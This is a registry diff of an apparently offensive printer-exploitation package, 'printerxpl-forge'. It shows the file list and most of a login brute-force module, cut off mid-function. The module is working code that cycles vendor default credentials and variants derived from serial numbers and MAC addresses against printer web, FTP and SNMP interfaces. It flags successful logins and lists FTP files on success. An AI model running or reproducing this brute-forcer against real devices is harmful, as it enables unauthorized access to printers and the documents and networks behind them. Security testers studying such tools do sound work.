printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,852 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — Login Brute Force Module
|
|
5
|
+
=========================================
|
|
6
|
+
Tests default and derived credentials against printer management interfaces:
|
|
7
|
+
- HTTP/HTTPS web admin (form login + HTTP Basic Auth + Digest)
|
|
8
|
+
- FTP (port 21)
|
|
9
|
+
- Telnet (port 23)
|
|
10
|
+
- SNMP community strings (UDP/161)
|
|
11
|
+
|
|
12
|
+
Credential expansion pipeline:
|
|
13
|
+
1. Vendor default credentials (from default_creds.py)
|
|
14
|
+
2. Dynamic token resolution (__SERIAL__, __MAC6__, __MAC12__)
|
|
15
|
+
3. Variation generation:
|
|
16
|
+
- normal → as-is
|
|
17
|
+
- reverse → password[::-1]
|
|
18
|
+
- leet → a→@, e→3, i→1, o→0, s→$, t→7, g→9
|
|
19
|
+
- camelcase → Password (first char uppercase)
|
|
20
|
+
- UPPER → PASSWORD
|
|
21
|
+
- lower → password
|
|
22
|
+
- reverse_leet → leet(reverse(password))
|
|
23
|
+
|
|
24
|
+
Usage:
|
|
25
|
+
from modules.login_bruteforce import bruteforce
|
|
26
|
+
results = bruteforce('192.168.0.152', vendor='epson', serial='XAABT77481')
|
|
27
|
+
"""
|
|
28
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
29
|
+
# GitHub : https://github.com/mrhenrike
|
|
30
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
31
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
32
|
+
|
|
33
|
+
from __future__ import annotations
|
|
34
|
+
|
|
35
|
+
import ftplib
|
|
36
|
+
import logging
|
|
37
|
+
import re
|
|
38
|
+
import socket
|
|
39
|
+
import time
|
|
40
|
+
from dataclasses import dataclass, field
|
|
41
|
+
from typing import Dict, Iterator, List, Optional, Tuple
|
|
42
|
+
|
|
43
|
+
import requests
|
|
44
|
+
import urllib3
|
|
45
|
+
|
|
46
|
+
urllib3.disable_warnings()
|
|
47
|
+
|
|
48
|
+
from utils.default_creds import (
|
|
49
|
+
Cred, SERIAL_TOKEN, MAC6_TOKEN, MAC12_TOKEN,
|
|
50
|
+
get_creds_for_vendor,
|
|
51
|
+
)
|
|
52
|
+
from utils.wordlist_loader import (
|
|
53
|
+
load_for_vendor,
|
|
54
|
+
load_snmp_communities,
|
|
55
|
+
load_ftp_creds,
|
|
56
|
+
get_default_wordlist_path,
|
|
57
|
+
)
|
|
58
|
+
|
|
59
|
+
_log = logging.getLogger(__name__)
|
|
60
|
+
|
|
61
|
+
# ── ANSI colours ──────────────────────────────────────────────────────────────
|
|
62
|
+
_GRN = '\033[1;32m'
|
|
63
|
+
_RED = '\033[1;31m'
|
|
64
|
+
_YEL = '\033[1;33m'
|
|
65
|
+
_CYN = '\033[1;36m'
|
|
66
|
+
_DIM = '\033[2;37m'
|
|
67
|
+
_RST = '\033[0m'
|
|
68
|
+
|
|
69
|
+
# ── Constants ─────────────────────────────────────────────────────────────────
|
|
70
|
+
DEFAULT_TIMEOUT = 6.0
|
|
71
|
+
DEFAULT_DELAY = 0.3 # seconds between attempts (avoid lockouts)
|
|
72
|
+
MAX_ATTEMPTS = 300 # hard cap on credential attempts
|
|
73
|
+
|
|
74
|
+
# Common HTTP login form paths per vendor (probed in order)
|
|
75
|
+
_HTTP_PATHS = [
|
|
76
|
+
# Generic
|
|
77
|
+
'/',
|
|
78
|
+
'/login',
|
|
79
|
+
'/admin',
|
|
80
|
+
'/admin/login',
|
|
81
|
+
'/web/login',
|
|
82
|
+
'/cgi-bin/login.cgi',
|
|
83
|
+
# HP EWS
|
|
84
|
+
'/hp/device/this.LCDispatcher?nav=hp.Print',
|
|
85
|
+
# Ricoh Web Image Monitor
|
|
86
|
+
'/web/',
|
|
87
|
+
# Kyocera Command Center RX
|
|
88
|
+
'/login.html',
|
|
89
|
+
# Xerox
|
|
90
|
+
'/status',
|
|
91
|
+
# Epson Web Config
|
|
92
|
+
'/PRESENTATION/HTML/TOP/PRTINFO.HTML',
|
|
93
|
+
'/web/index.cgi',
|
|
94
|
+
# Brother
|
|
95
|
+
'/general/status.html',
|
|
96
|
+
# Samsung SyncThru
|
|
97
|
+
'/sws/app/wss/loginAction.sws',
|
|
98
|
+
# Canon
|
|
99
|
+
'/login.html',
|
|
100
|
+
# CUPS / IPP web
|
|
101
|
+
'/admin/',
|
|
102
|
+
]
|
|
103
|
+
|
|
104
|
+
# Known form field names for username/password
|
|
105
|
+
_FORM_USER_FIELDS = ['user', 'userid', 'username', 'login', 'User', 'UserName', 'name',
|
|
106
|
+
'admin_id', 'j_username', 'loginId', 'id']
|
|
107
|
+
_FORM_PASS_FIELDS = ['pass', 'password', 'passwd', 'Password', 'PASS', 'pwd',
|
|
108
|
+
'admin_pass', 'j_password', 'loginPassword', 'pw']
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
# ── Result types ──────────────────────────────────────────────────────────────
|
|
112
|
+
|
|
113
|
+
@dataclass
|
|
114
|
+
class LoginResult:
|
|
115
|
+
"""Represents a single login attempt result."""
|
|
116
|
+
protocol: str # http / https / ftp / telnet / snmp
|
|
117
|
+
host: str
|
|
118
|
+
port: int
|
|
119
|
+
username: str
|
|
120
|
+
password: Optional[str]
|
|
121
|
+
success: bool
|
|
122
|
+
status: str # 'found' / 'invalid' / 'timeout' / 'error' / 'lockout'
|
|
123
|
+
evidence: str = ''
|
|
124
|
+
url: str = ''
|
|
125
|
+
|
|
126
|
+
def password_display(self) -> str:
|
|
127
|
+
return self.password if self.password is not None else '(blank)'
|
|
128
|
+
|
|
129
|
+
def __str__(self) -> str:
|
|
130
|
+
icon = f"{_GRN}[FOUND]{_RST}" if self.success else f"{_DIM}[----]{_RST}"
|
|
131
|
+
return (f"{icon} {self.protocol.upper():<6} "
|
|
132
|
+
f"{self.username!r:<14} / {self.password_display()!r:<20} "
|
|
133
|
+
f"→ {self.status}")
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
@dataclass
|
|
137
|
+
class BruteforceReport:
|
|
138
|
+
"""Summary of brute-force campaign."""
|
|
139
|
+
host: str
|
|
140
|
+
vendor: str
|
|
141
|
+
serial: str
|
|
142
|
+
total: int = 0
|
|
143
|
+
found: List[LoginResult] = field(default_factory=list)
|
|
144
|
+
all_results: List[LoginResult] = field(default_factory=list)
|
|
145
|
+
|
|
146
|
+
@property
|
|
147
|
+
def success(self) -> bool:
|
|
148
|
+
return bool(self.found)
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
# ── Credential variation engine ───────────────────────────────────────────────
|
|
152
|
+
|
|
153
|
+
_LEET_MAP = str.maketrans({
|
|
154
|
+
'a': '@', 'A': '@',
|
|
155
|
+
'e': '3', 'E': '3',
|
|
156
|
+
'i': '1', 'I': '1',
|
|
157
|
+
'o': '0', 'O': '0',
|
|
158
|
+
's': '$', 'S': '$',
|
|
159
|
+
't': '7', 'T': '7',
|
|
160
|
+
'g': '9', 'G': '9',
|
|
161
|
+
'l': '|', 'L': '|',
|
|
162
|
+
'b': '8', 'B': '8',
|
|
163
|
+
})
|
|
164
|
+
|
|
165
|
+
|
|
166
|
+
def leet(s: str) -> str:
|
|
167
|
+
"""Apply leet substitutions to a string."""
|
|
168
|
+
return s.translate(_LEET_MAP)
|
|
169
|
+
|
|
170
|
+
|
|
171
|
+
def expand_password(
|
|
172
|
+
raw_password: Optional[str],
|
|
173
|
+
serial: str = '',
|
|
174
|
+
mac: str = '',
|
|
175
|
+
enable_variations: bool = True,
|
|
176
|
+
) -> List[Optional[str]]:
|
|
177
|
+
"""
|
|
178
|
+
Expand a raw password token into a list of concrete passwords.
|
|
179
|
+
|
|
180
|
+
Handles:
|
|
181
|
+
- None → blank string
|
|
182
|
+
- __SERIAL__ → serial number + its variations
|
|
183
|
+
- __MAC6__ → last 6 chars of MAC (no separators)
|
|
184
|
+
- __MAC12__ → full MAC without separators
|
|
185
|
+
- Regular strings → all variation modes
|
|
186
|
+
|
|
187
|
+
Returns deduplicated ordered list.
|
|
188
|
+
"""
|
|
189
|
+
mac_clean = re.sub(r'[:-]', '', mac).upper()
|
|
190
|
+
mac6 = mac_clean[-6:] if mac_clean else ''
|
|
191
|
+
mac12 = mac_clean
|
|
192
|
+
|
|
193
|
+
# Resolve token
|
|
194
|
+
if raw_password is None:
|
|
195
|
+
base = ''
|
|
196
|
+
elif raw_password == SERIAL_TOKEN:
|
|
197
|
+
base = serial or ''
|
|
198
|
+
elif raw_password == MAC6_TOKEN:
|
|
199
|
+
base = mac6
|
|
200
|
+
elif raw_password == MAC12_TOKEN:
|
|
201
|
+
base = mac12
|
|
202
|
+
else:
|
|
203
|
+
base = raw_password
|
|
204
|
+
|
|
205
|
+
if not base:
|
|
206
|
+
# blank/empty password only
|
|
207
|
+
return [None, '']
|
|
208
|
+
|
|
209
|
+
seen: list = []
|
|
210
|
+
def add(p: Optional[str]) -> None:
|
|
211
|
+
if p not in seen:
|
|
212
|
+
seen.append(p)
|
|
213
|
+
|
|
214
|
+
add(base) # normal
|
|
215
|
+
if enable_variations and base:
|
|
216
|
+
add(base[::-1]) # reverse
|
|
217
|
+
add(leet(base)) # leet
|
|
218
|
+
add(base.capitalize()) # CamelCase (first char upper)
|
|
219
|
+
add(base.upper()) # ALL UPPER
|
|
220
|
+
add(base.lower()) # all lower
|
|
221
|
+
add(leet(base[::-1])) # reverse leet
|
|
222
|
+
add(base + '1') # append digit
|
|
223
|
+
add(base + '!') # append symbol
|
|
224
|
+
add('1' + base) # prepend digit
|
|
225
|
+
# For serial-based: also try just last 8 / first 8 chars
|
|
226
|
+
if raw_password == SERIAL_TOKEN and len(base) > 8:
|
|
227
|
+
add(base[-8:])
|
|
228
|
+
add(base[:8])
|
|
229
|
+
add(base[-8:].lower())
|
|
230
|
+
add(base[-8:].upper())
|
|
231
|
+
|
|
232
|
+
return seen
|
|
233
|
+
|
|
234
|
+
|
|
235
|
+
def iter_credentials(
|
|
236
|
+
vendor: str,
|
|
237
|
+
serial: str = '',
|
|
238
|
+
mac: str = '',
|
|
239
|
+
protocol_filter: str = '',
|
|
240
|
+
enable_variations: bool = True,
|
|
241
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
242
|
+
wordlist_path: Optional[str] = None,
|
|
243
|
+
) -> Iterator[Tuple[str, Optional[str]]]:
|
|
244
|
+
"""
|
|
245
|
+
Yield (username, password) pairs for brute-forcing.
|
|
246
|
+
|
|
247
|
+
Credentials are loaded from external wordlist files (not hardcoded).
|
|
248
|
+
Combines: wordlist (vendor-specific + generic) + user-supplied extras.
|
|
249
|
+
Expands dynamic tokens and variation modes.
|
|
250
|
+
Deduplicates.
|
|
251
|
+
|
|
252
|
+
Args:
|
|
253
|
+
vendor: Vendor name for section selection.
|
|
254
|
+
serial: Device serial number (resolves __SERIAL__ token).
|
|
255
|
+
mac: Device MAC address (resolves __MAC6__, __MAC12__).
|
|
256
|
+
protocol_filter: Only yield creds for this protocol ('' = all).
|
|
257
|
+
enable_variations: Generate reverse/leet/camelcase variants.
|
|
258
|
+
extra_creds: Additional (user, pass) pairs prepended to the list.
|
|
259
|
+
wordlist_path: Custom wordlist path (replaces default wordlist).
|
|
260
|
+
"""
|
|
261
|
+
# Load from wordlist (external file, no hardcoded data)
|
|
262
|
+
wl = get_default_wordlist_path() if wordlist_path is None else wordlist_path
|
|
263
|
+
creds: List[Cred] = load_for_vendor(vendor, wordlist_path=wl)
|
|
264
|
+
|
|
265
|
+
# Prepend user-supplied extras (highest priority)
|
|
266
|
+
if extra_creds:
|
|
267
|
+
extra = [Cred(u, p, 'any') for u, p in extra_creds]
|
|
268
|
+
creds = extra + creds
|
|
269
|
+
|
|
270
|
+
seen: set = set()
|
|
271
|
+
count = 0
|
|
272
|
+
|
|
273
|
+
for cred in creds:
|
|
274
|
+
# Protocol filter: skip if cred is protocol-specific and doesn't match
|
|
275
|
+
if protocol_filter:
|
|
276
|
+
if cred.protocol not in ('any', protocol_filter, 'http', 'https'):
|
|
277
|
+
continue
|
|
278
|
+
|
|
279
|
+
passwords = expand_password(cred.password, serial, mac, enable_variations)
|
|
280
|
+
for pwd in passwords:
|
|
281
|
+
pair = (cred.username, pwd)
|
|
282
|
+
if pair in seen:
|
|
283
|
+
continue
|
|
284
|
+
seen.add(pair)
|
|
285
|
+
yield cred.username, pwd
|
|
286
|
+
count += 1
|
|
287
|
+
if count >= MAX_ATTEMPTS:
|
|
288
|
+
return
|
|
289
|
+
|
|
290
|
+
|
|
291
|
+
# ── HTTP attack ───────────────────────────────────────────────────────────────
|
|
292
|
+
|
|
293
|
+
def _detect_http_login(host: str, port: int, scheme: str,
|
|
294
|
+
timeout: float) -> Tuple[str, str, str]:
|
|
295
|
+
"""
|
|
296
|
+
Probe printer web interface to discover login URL and form field names.
|
|
297
|
+
|
|
298
|
+
Returns: (login_url, user_field, pass_field)
|
|
299
|
+
"""
|
|
300
|
+
for path in _HTTP_PATHS:
|
|
301
|
+
url = f"{scheme}://{host}:{port}{path}"
|
|
302
|
+
try:
|
|
303
|
+
r = requests.get(url, timeout=timeout, verify=False,
|
|
304
|
+
allow_redirects=True)
|
|
305
|
+
text = r.text.lower()
|
|
306
|
+
if r.status_code in (401,):
|
|
307
|
+
return url, '', '' # Basic/Digest auth
|
|
308
|
+
if any(kw in text for kw in ('login', 'password', 'signin', 'userid', 'username')):
|
|
309
|
+
# Identify form fields
|
|
310
|
+
uf = next((f for f in _FORM_USER_FIELDS if f.lower() in text), 'username')
|
|
311
|
+
pf = next((f for f in _FORM_PASS_FIELDS if f.lower() in text), 'password')
|
|
312
|
+
return url, uf, pf
|
|
313
|
+
except Exception:
|
|
314
|
+
continue
|
|
315
|
+
return f"{scheme}://{host}:{port}/", 'username', 'password'
|
|
316
|
+
|
|
317
|
+
|
|
318
|
+
def _try_http_login(session: requests.Session, url: str,
|
|
319
|
+
user_field: str, pass_field: str,
|
|
320
|
+
username: str, password: Optional[str],
|
|
321
|
+
timeout: float) -> Tuple[bool, int, str]:
|
|
322
|
+
"""
|
|
323
|
+
Attempt login via HTTP form POST + HTTP Basic Auth.
|
|
324
|
+
|
|
325
|
+
Returns: (success, status_code, evidence)
|
|
326
|
+
"""
|
|
327
|
+
pwd = password if password is not None else ''
|
|
328
|
+
|
|
329
|
+
# 1. Try HTTP Basic / Digest (works for many printers)
|
|
330
|
+
try:
|
|
331
|
+
r = requests.get(url, auth=(username, pwd),
|
|
332
|
+
timeout=timeout, verify=False, allow_redirects=True)
|
|
333
|
+
if r.status_code == 200 and not any(
|
|
334
|
+
kw in r.text.lower() for kw in ('login', 'invalid', 'unauthorized', 'error')
|
|
335
|
+
):
|
|
336
|
+
return True, r.status_code, f'Basic auth accepted at {url}'
|
|
337
|
+
except Exception:
|
|
338
|
+
pass
|
|
339
|
+
|
|
340
|
+
# 2. Try POST form
|
|
341
|
+
try:
|
|
342
|
+
post_data = {user_field: username, pass_field: pwd}
|
|
343
|
+
r = session.post(url, data=post_data, timeout=timeout,
|
|
344
|
+
verify=False, allow_redirects=True)
|
|
345
|
+
code = r.status_code
|
|
346
|
+
text = r.text.lower()
|
|
347
|
+
|
|
348
|
+
# Heuristics for success
|
|
349
|
+
if code in (200, 302, 301):
|
|
350
|
+
fail_indicators = (
|
|
351
|
+
'invalid password', 'incorrect password', 'login failed',
|
|
352
|
+
'authentication failed', 'wrong password', 'denied',
|
|
353
|
+
'unauthorized', 'error', 'failed', 'bad credentials',
|
|
354
|
+
)
|
|
355
|
+
success_indicators = (
|
|
356
|
+
'logout', 'signout', 'sign out', 'dashboard', 'settings',
|
|
357
|
+
'configuration', 'status', 'printer info', 'admin',
|
|
358
|
+
'maintenance', 'network', 'security',
|
|
359
|
+
)
|
|
360
|
+
has_fail = any(kw in text for kw in fail_indicators)
|
|
361
|
+
has_success = any(kw in text for kw in success_indicators)
|
|
362
|
+
|
|
363
|
+
if has_success and not has_fail:
|
|
364
|
+
return True, code, f'Form POST accepted (status {code}) at {url}'
|
|
365
|
+
|
|
366
|
+
if code == 302 and 'location' in r.headers:
|
|
367
|
+
loc = r.headers['location'].lower()
|
|
368
|
+
if 'logout' not in loc and 'login' not in loc:
|
|
369
|
+
return True, code, f'Redirect to {loc} after POST — likely success'
|
|
370
|
+
|
|
371
|
+
except requests.exceptions.ConnectionError:
|
|
372
|
+
return False, 0, 'connection_error'
|
|
373
|
+
except Exception as exc:
|
|
374
|
+
return False, 0, str(exc)[:60]
|
|
375
|
+
|
|
376
|
+
return False, 0, ''
|
|
377
|
+
|
|
378
|
+
|
|
379
|
+
def bruteforce_http(
|
|
380
|
+
host: str,
|
|
381
|
+
port: int = 80,
|
|
382
|
+
vendor: str = 'generic',
|
|
383
|
+
serial: str = '',
|
|
384
|
+
mac: str = '',
|
|
385
|
+
scheme: str = 'http',
|
|
386
|
+
timeout: float = DEFAULT_TIMEOUT,
|
|
387
|
+
delay: float = DEFAULT_DELAY,
|
|
388
|
+
enable_variations: bool = True,
|
|
389
|
+
stop_on_first: bool = True,
|
|
390
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
391
|
+
wordlist_path: Optional[str] = None,
|
|
392
|
+
verbose: bool = True,
|
|
393
|
+
) -> List[LoginResult]:
|
|
394
|
+
"""HTTP/HTTPS brute force against printer web interface."""
|
|
395
|
+
results: List[LoginResult] = []
|
|
396
|
+
|
|
397
|
+
login_url, user_field, pass_field = _detect_http_login(host, port, scheme, timeout)
|
|
398
|
+
if verbose:
|
|
399
|
+
wl_label = wordlist_path or get_default_wordlist_path() or "(not found)"
|
|
400
|
+
print(f"\n {_CYN}[HTTP BF]{_RST} {scheme}://{host}:{port} | "
|
|
401
|
+
f"vendor={vendor} serial={serial or '-'}")
|
|
402
|
+
print(f" Wordlist: {wl_label}")
|
|
403
|
+
print(f" Login URL: {login_url} fields: {user_field!r}/{pass_field!r}")
|
|
404
|
+
|
|
405
|
+
session = requests.Session()
|
|
406
|
+
session.verify = False
|
|
407
|
+
|
|
408
|
+
for username, password in iter_credentials(
|
|
409
|
+
vendor, serial, mac, 'http', enable_variations, extra_creds, wordlist_path
|
|
410
|
+
):
|
|
411
|
+
pwd_display = password if password is not None else '(blank)'
|
|
412
|
+
if verbose:
|
|
413
|
+
print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
|
|
414
|
+
|
|
415
|
+
success, code, evidence = _try_http_login(
|
|
416
|
+
session, login_url, user_field, pass_field,
|
|
417
|
+
username, password, timeout,
|
|
418
|
+
)
|
|
419
|
+
|
|
420
|
+
result = LoginResult(
|
|
421
|
+
protocol = scheme,
|
|
422
|
+
host = host,
|
|
423
|
+
port = port,
|
|
424
|
+
username = username,
|
|
425
|
+
password = password,
|
|
426
|
+
success = success,
|
|
427
|
+
status = 'found' if success else 'invalid',
|
|
428
|
+
evidence = evidence,
|
|
429
|
+
url = login_url,
|
|
430
|
+
)
|
|
431
|
+
results.append(result)
|
|
432
|
+
|
|
433
|
+
if success:
|
|
434
|
+
print(f"\n {_GRN}[+] FOUND:{_RST} {scheme.upper()} {host}:{port} "
|
|
435
|
+
f"→ {username!r} / {pwd_display!r}")
|
|
436
|
+
if verbose:
|
|
437
|
+
print(f" Evidence: {evidence}")
|
|
438
|
+
if stop_on_first:
|
|
439
|
+
break
|
|
440
|
+
|
|
441
|
+
time.sleep(delay)
|
|
442
|
+
|
|
443
|
+
return results
|
|
444
|
+
|
|
445
|
+
|
|
446
|
+
# ── FTP attack ────────────────────────────────────────────────────────────────
|
|
447
|
+
|
|
448
|
+
def bruteforce_ftp(
|
|
449
|
+
host: str,
|
|
450
|
+
port: int = 21,
|
|
451
|
+
vendor: str = 'generic',
|
|
452
|
+
serial: str = '',
|
|
453
|
+
mac: str = '',
|
|
454
|
+
timeout: float = DEFAULT_TIMEOUT,
|
|
455
|
+
delay: float = DEFAULT_DELAY,
|
|
456
|
+
enable_variations: bool = True,
|
|
457
|
+
stop_on_first: bool = True,
|
|
458
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
459
|
+
wordlist_path: Optional[str] = None,
|
|
460
|
+
verbose: bool = True,
|
|
461
|
+
) -> List[LoginResult]:
|
|
462
|
+
"""FTP brute force against printer file system."""
|
|
463
|
+
results: List[LoginResult] = []
|
|
464
|
+
|
|
465
|
+
# Check if FTP is open first
|
|
466
|
+
try:
|
|
467
|
+
s = socket.create_connection((host, port), timeout=timeout)
|
|
468
|
+
s.close()
|
|
469
|
+
except Exception:
|
|
470
|
+
return results # FTP not open
|
|
471
|
+
|
|
472
|
+
if verbose:
|
|
473
|
+
print(f"\n {_CYN}[FTP BF]{_RST} {host}:{port} | vendor={vendor}")
|
|
474
|
+
|
|
475
|
+
for username, password in iter_credentials(
|
|
476
|
+
vendor, serial, mac, 'ftp', enable_variations, extra_creds, wordlist_path
|
|
477
|
+
):
|
|
478
|
+
pwd_display = password if password is not None else '(blank)'
|
|
479
|
+
if verbose:
|
|
480
|
+
print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
|
|
481
|
+
|
|
482
|
+
try:
|
|
483
|
+
ftp = ftplib.FTP()
|
|
484
|
+
ftp.connect(host, port, timeout=timeout)
|
|
485
|
+
ftp.login(username, password or '')
|
|
486
|
+
# Success
|
|
487
|
+
listing = ''
|
|
488
|
+
try:
|
|
489
|
+
listing = str(ftp.nlst()[:10])
|
|
490
|
+
except Exception:
|
|
491
|
+
pass
|
|
492
|
+
ftp.quit()
|
|
493
|
+
|
|
494
|
+
result = LoginResult(
|
|
495
|
+
protocol = 'ftp',
|
|
496
|
+
host = host,
|
|
497
|
+
port = port,
|
|
498
|
+
username = username,
|
|
499
|
+
password = password,
|
|
500
|
+
success = True,
|
|
501
|
+
status = 'found',
|
|
502
|
+
evidence = f'FTP login successful. Files: {listing[:80]}',
|
|
503
|
+
)
|
|
504
|
+
results.append(result)
|
|
505
|
+
print(f"\n {_GRN}[+] FOUND:{_RST} FTP {host}:{port} "
|
|
506
|
+
f"→ {username!r} / {pwd_display!r}")
|
|
507
|
+
if stop_on_first:
|
|
508
|
+
break
|
|
509
|
+
|
|
510
|
+
except ftplib.error_perm:
|
|
511
|
+
results.append(LoginResult('ftp', host, port, username, password,
|
|
512
|
+
False, 'invalid'))
|
|
513
|
+
except Exception as exc:
|
|
514
|
+
results.append(LoginResult('ftp', host, port, username, password,
|
|
515
|
+
False, 'error', str(exc)[:40]))
|
|
516
|
+
time.sleep(delay)
|
|
517
|
+
|
|
518
|
+
return results
|
|
519
|
+
|
|
520
|
+
|
|
521
|
+
# ── SNMP community string attack ──────────────────────────────────────────────
|
|
522
|
+
|
|
523
|
+
_SNMP_TEST_OID = '1.3.6.1.2.1.1.1.0' # sysDescr
|
|
524
|
+
|
|
525
|
+
|
|
526
|
+
def bruteforce_snmp(
|
|
527
|
+
host: str,
|
|
528
|
+
port: int = 161,
|
|
529
|
+
vendor: str = 'generic',
|
|
530
|
+
serial: str = '',
|
|
531
|
+
mac: str = '',
|
|
532
|
+
timeout: float = 3.0,
|
|
533
|
+
enable_variations: bool = False, # variations rarely useful for SNMP strings
|
|
534
|
+
stop_on_first: bool = False,
|
|
535
|
+
extra_creds: List[Tuple[str, Optional[str]]] = None,
|
|
536
|
+
wordlist_path: Optional[str] = None,
|
|
537
|
+
verbose: bool = True,
|
|
538
|
+
) -> List[LoginResult]:
|
|
539
|
+
"""Test SNMP community strings (read and write) from snmp_communities.txt wordlist."""
|
|
540
|
+
results: List[LoginResult] = []
|
|
541
|
+
|
|
542
|
+
try:
|
|
543
|
+
import warnings
|
|
544
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
545
|
+
from pysnmp.hlapi import (
|
|
546
|
+
getCmd, CommunityData, UdpTransportTarget,
|
|
547
|
+
ContextData, ObjectType, ObjectIdentity, SnmpEngine,
|
|
548
|
+
)
|
|
549
|
+
except ImportError:
|
|
550
|
+
_log.debug("pysnmp not available — skipping SNMP brute force")
|
|
551
|
+
return results
|
|
552
|
+
|
|
553
|
+
if verbose:
|
|
554
|
+
print(f"\n {_CYN}[SNMP BF]{_RST} {host}:{port} | vendor={vendor}")
|
|
555
|
+
|
|
556
|
+
# Load community strings from wordlist file (not hardcoded)
|
|
557
|
+
communities: List[str] = []
|
|
558
|
+
seen_comm: set = set()
|
|
559
|
+
|
|
560
|
+
# Primary source: snmp_communities.txt
|
|
561
|
+
for comm in load_snmp_communities(wordlist_path):
|
|
562
|
+
if comm not in seen_comm:
|
|
563
|
+
seen_comm.add(comm)
|
|
564
|
+
communities.append(comm)
|
|
565
|
+
|
|
566
|
+
# Also pull community strings from main wordlist SNMP sections
|
|
567
|
+
wl = wordlist_path or get_default_wordlist_path()
|
|
568
|
+
for cred in load_for_vendor(vendor, wordlist_path=wl):
|
|
569
|
+
if cred.protocol == 'snmp':
|
|
570
|
+
comm = cred.username or (cred.password or '')
|
|
571
|
+
if comm and comm not in seen_comm:
|
|
572
|
+
seen_comm.add(comm)
|
|
573
|
+
communities.append(comm)
|
|
574
|
+
|
|
575
|
+
# Add extra_creds if any
|
|
576
|
+
if extra_creds:
|
|
577
|
+
for u, p in extra_creds:
|
|
578
|
+
for c in [u, p]:
|
|
579
|
+
